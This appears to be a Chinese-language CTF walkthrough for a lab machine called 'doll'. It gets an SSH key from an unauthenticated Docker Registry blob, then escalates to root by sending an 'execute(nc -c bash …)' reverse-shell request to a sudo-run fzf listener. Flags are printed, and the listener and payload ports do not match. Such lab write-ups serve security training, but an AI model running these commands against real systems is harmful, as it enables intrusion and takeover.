一.信息收集

主机IP

ip a
192.168.31.217

目标靶机IP扫描

arp-scan -l
192.168.31.253

端口扫描

nmap -p- -sV 192.168.31.253
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
1007/tcp open  http    Docker Registry (API: 2.0)

目录扫描

dirsearch -u http://192.168.31.253:1007
[22:02:38] 200 -    2B  - /v2/                                        
[22:02:38] 200 -   27B  - /v2/_catalog

二.漏洞利用

通过 Docker Registry API获取有用信息

# 查看所有的镜像
#curl http://REGISTRY_HOST:PORT/v2/_catalog
curl http://192.168.31.253:1007/v2/_catalog
得到:{"repositories":["dolly"]}

# 查看镜像标签
#curl http://REGISTRY_HOST:PORT/v2/【IMAGE_NAME】/tags/list
curl http://192.168.31.253:1007/v2/dolly/tags/list       
得到:{"name":"dolly","tags":["latest"]}

# 获取可疑镜像的 manifest(描述文件)
#curl http://10.0.0.1:5000/v2/IMAGE_NAME/manifests/【flag】
curl http://192.168.31.253:1007/v2/dolly/manifests/latest
得到:
"blobSum": "sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017"

passwd=devilcollectsit

#从指定的 HTTP 地址下载一个以 SHA256 哈希命名的二进制 Blob 文件,并将其保存为本地文件 1.tar
curl -s http://192.168.31.253:1007/v2/dolly/blobs/sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017 -o 1.tar

解压

tar -xf 1.tar

找到ssh私钥

cd home/bela/.ssh/
cat id_rsa

根据目录可知用户名为bela

连接ssh

ssh bela@192.168.31.253 -i id_rsa

密码为

devilcollectsit

flag为

bela@doll:~$ ls
user.txt
bela@doll:~$ cat user.txt
juHDnnGMYNIkVgfnMV

提权

发现有个fzf可以利用

bela@doll:~$ sudo -l
Matching Defaults entries for bela on doll:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bela may run the following commands on doll:
    (ALL) NOPASSWD: /usr/bin/fzf --listen\=1337
    
bela@doll:~$

fzf是什么?

fzf 是一个 命令行模糊查找器(fuzzy finder)。它主要用于交互式搜索和选择文件、命令历史、进程等,但支持一些高级功能可能被用于提权。

需要再次开启一个ssh连接,在主机上开启监听端口
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1236
在第一个窗口运行fzf
bela@doll:~$ sudo /usr/bin/fzf --listen\=1337
在第二个窗口反弹到主机上
bela@doll:~$ curl -XPOST 127.0.0.1:1337 -d 'execute(nc -c bash 192.168.31.217 1235)'
就拿到了shell

┌──(root㉿kali)-[~]
└─# nc -lvnp 1236
listening on [any] 1236 ...
connect to [192.168.31.217] from (UNKNOWN) [192.168.31.253] 54426
id
uid=0(root) gid=0(root) grupos=0(root)
cat /root/root.txt
xwHTSMZljFuJERHmMV

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐